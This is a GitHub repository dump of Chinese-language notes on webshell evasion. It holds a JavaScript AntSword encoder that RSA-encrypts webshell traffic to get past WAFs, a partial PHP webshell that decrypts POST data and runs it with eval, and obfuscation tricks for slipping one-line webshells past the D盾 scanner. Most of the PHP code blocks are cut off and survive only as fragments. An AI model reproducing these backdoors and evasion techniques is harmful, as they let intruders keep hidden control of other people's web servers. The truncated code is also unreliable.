├── README.md ├── images ├── ant1.png ├── ant2.png ├── ant3.png ├── d.png ├── res.png ├── shell2.png └── shell_mine.png ├── img_antsword ├── chuji.png ├── false.png ├── php_rsa.png ├── response.png ├── rsa.png └── rsa_all.png ├── 定制蚁剑绕过waf实践.md └── 过d盾的一句话研究.md /README.md: -------------------------------------------------------------------------------- 1 | # webshell_bypass_research 2 | 自己零零散散研究以及收集的一些免杀技巧,以便为后续查阅,拓宽思路 3 | -------------------------------------------------------------------------------- /images/ant1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/ant1.png -------------------------------------------------------------------------------- /images/ant2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/ant2.png -------------------------------------------------------------------------------- /images/ant3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/ant3.png -------------------------------------------------------------------------------- /images/d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/d.png -------------------------------------------------------------------------------- /images/res.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/res.png -------------------------------------------------------------------------------- /images/shell2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/shell2.png -------------------------------------------------------------------------------- /images/shell_mine.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/images/shell_mine.png -------------------------------------------------------------------------------- /img_antsword/chuji.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/img_antsword/chuji.png -------------------------------------------------------------------------------- /img_antsword/false.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/img_antsword/false.png -------------------------------------------------------------------------------- /img_antsword/php_rsa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/img_antsword/php_rsa.png -------------------------------------------------------------------------------- /img_antsword/response.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/img_antsword/response.png -------------------------------------------------------------------------------- /img_antsword/rsa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/img_antsword/rsa.png -------------------------------------------------------------------------------- /img_antsword/rsa_all.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/webshell_bypass_research/6029f33e0d0310e285575c5d8c8cc433221ea4aa/img_antsword/rsa_all.png -------------------------------------------------------------------------------- /定制蚁剑绕过waf实践.md: -------------------------------------------------------------------------------- 1 | ### 0x01 2 | 在实战中,要想bypass waf成功连接到我们的一句话木马,不仅仅要一句话木马本身免杀,还要对连接一句话木马的流量进行加密混淆处理,流量又分为请求包与返回包,一般的waf会对请求包中的敏感关键词进行拦截,但是有一些waf还会拦截返回包中的恶意关键词,所以,流量加密最好是对往返的流量都进行加密。我们这里主要讨论的就是对流量进行混淆的一些实践 3 | 4 | ### 0x02 5 | 如果使用中国菜刀的话,因为菜刀可定制度不高,我们可以使用一个代理脚本进行流量混淆,这个后面有机会再实验,本文主要是复现一下蚁剑这一工具的rsa流量加密。 6 | 7 | 蚁剑支持多种编码器,可以对流量进行混淆,但是这些编码器可能早已经加入waf的全家桶了,但是我们还可以通过自定义编码器来实现绕过waf检测的目的,这里主要演示的是通过rsa非对称加密的方式加密流量: 8 | 9 | ![](img_antsword/rsa.png) 10 | 11 | 到蚁剑的配置页面,点击rsa配置,可以自动生成公私钥,并且会生成一个使用公钥的php木马,这个木马是不免杀的,我们需要单独对其进行免杀处理。有了公私钥以及木马,我们还需要配置编码器呀,编码器的作用就是将我们的流量用私钥进行加密,然后木马中会使用对应的公钥进行解密。配置编码器,只需要点击“新建编码器”并且选择php rsa 12 | 13 | ![](img_antsword/php_rsa.png) 14 | 15 | 这样就生成了一个编码器了,现在已经可以正常使用了。但是,这只是一个初级的编码器,只是对模板模板进行了加密,没有对发送的命令进行加密只是进行了简单的base64编码处理: 16 | 17 | ![](img_antsword/chuji.png) 18 | 19 | 而且没有对返回的流量进行加密: 20 | 21 | ![](img_antsword/response.png) 22 | 23 | 24 | 这还是有可能被waf探测到,所以,我们需要对每个参数都进行加密,需要改一下编码器以及木马: 25 | 26 | 编码器: 27 | ```php 28 | /** 29 | * php::RSA编码器 30 | * Create at: 2019/11/04 11:04:42 31 | */ 32 | 33 | 'use strict'; 34 | 35 | /* 36 | * @param {String} pwd 连接密码 37 | * @param {Array} data 编码器处理前的 payload 数组 38 | * @return {Array} data 编码器处理后的 payload 数组 39 | */ 40 | module.exports = (pwd, data, ext={}) => { 41 | let ret = {}; 42 | for (let _ in data) { 43 | if (_ === '_') { continue }; 44 | ret[_] = ext['rsa'].encryptPrivate(data[_], 'base64') 45 | } 46 | data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`; 47 | let n = Math.ceil(data['_'].length / 80); 48 | let l = Math.ceil(data['_'].length / n); 49 | let r = [] 50 | for (var i = 0; n > i; i++) { 51 | r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64')); 52 | } 53 | ret[pwd] = r.join("|"); 54 | delete data['_']; 55 | return ret; 56 | } 57 | ``` 58 | 对应木马(注意这里的公钥要改成你自己的公钥): 59 | 60 | ```php 61 | $v){ 80 | if (openssl_public_decrypt(base64_decode($v), $de, $pk)) { 81 | $_POST[$k]=$de; 82 | } 83 | } 84 | eval($cmd); 85 | } 86 | ``` 87 | 88 | 现在,每个参数都加密了: 89 | 90 | ![](img_antsword/rsa_all.png) 91 | 92 | 但是,出现了一个问题,就是用这个全加密的套餐的时候,虚拟终端不能执行命令了: 93 | 94 | ![](img_antsword/false.png) 95 | 96 | ### 0x03 97 | 98 | 由于我自己不会node.js,所以文章只是实践了一下别的师傅的文章(而且先知社区的大师傅提到的加密返回流量的解码器,我没有实践成功)。由于不会node.js,出现问题也不能解决,先留个坑,等我学了node.js再来研究。 99 | 100 | 参考: 101 | https://xz.aliyun.com/t/6701 102 | -------------------------------------------------------------------------------- /过d盾的一句话研究.md: -------------------------------------------------------------------------------- 1 | ### 前言 2 | 3 | 最近看到安全客一位老哥写了一篇关于bypass d盾一句话木马查杀的技巧,正好最近自己也想研究研究bypass 各大webshell查杀工具,于是就借着老哥的技巧自己拓展了一下。也算是有点小成果,特此记录一下。 4 | 5 | ### 0x01 6 | 7 | 在研究的过程中,相对于其他的webshell查杀工具,d盾的规则还是挺严格的,感觉d盾的策略侧重于关注eval,assert这些危险的语言结构或者函数,只要是发现危险函数中出现变量,不管它有没有识别出这个变量的值,先给你报警再说。。。宁可错杀一千也不放过一个,简直太狠了(而且d盾不像安全狗那样注重于正则匹配各种可能的危险调用,就死盯着这些危险函数的参数,所以有的文章说以安全狗为代表的一些查杀工具关注的是“形”,比较容易绕过,只要用各种动态函数调用、异或、无字符一句话、回调函数啥的就可以绕过,而d盾则是关注的危险函数的参数,一旦参数他不能百分百确定没问题,那就报警) 8 | 9 | ```php 10 | 14 | ``` 15 | 16 | ![](images/d.png) 17 | 18 | 就这么个东西都要一级警告... 19 | 20 | 我不太熟悉d盾的自动查杀,不知道会不会查杀一级警告的文件,我想应该不会这么残忍,其实把一个一句话弄成一级告警还是挺简单的,例如下面这个: 21 | 22 | ```php 23 | 41 | ``` 42 | 43 | 其中用到了异或构造`_GET`,然后关键处用一个字符拼接了我们从get传来的数据,从而让d盾误以为eval的参数是一个字符串,实现了绕过。那有没有其他方法呢?我这里发现了一个更牛掰的: 44 | 45 | ```php 46 | 51 | ``` 52 | 53 | 我这个一句话,主要是利用了php中动态变量解析(不知道是不是这么叫),就是双引号是可以包裹的字符串,如果其中有变量,那么是会自动进行解析的,当然,除此之外我还稍稍对敏感的_POST稍微坐了一下处理,绕了几个圈~d盾查杀效果如下: 54 | 55 | 56 | ![](images/shell_mine.png) 57 | 58 | 通过post传b=x&a=xxxx即可连接shell. 59 | 60 | ![](images/res.png) 61 | 62 | 虽然需要传递两个参数,但是用蚁剑连接还是很方便的,只需要多配置一个http body就行: 63 | 64 | ![](images/ant1.png) 65 | 66 | ![](images/ant2.png) 67 | 68 | ![](images/ant3.png) 69 | 70 | 71 | ### 0x02 72 | 73 | 在本次学习过程中,了解到php 7.2不能动态调用assert函数,也就是下面这种形式不能用了: 74 | 75 | ```php 76 | $a = 'assert' 77 | $$a('phpinfo();'); 78 | ``` 79 | 80 | 也就导致了以前很多的免杀一句话在php7.2版本就直接报错了,而且eval不是函数,只是一种语言结构,更是不支持动态函数调用了。所以,未来的d盾免杀,我们只能在eval参数上下功夫了(当然,可能还有一些特殊函数没有提到),当然,对于`_GET`以及`_POST`的隐藏还是必须的工序~ 81 | 82 | 83 | 84 | ### 0x03 85 | 86 | 安全客老哥的文章: 87 | 88 | https://www.anquanke.com/post/id/193787 --------------------------------------------------------------------------------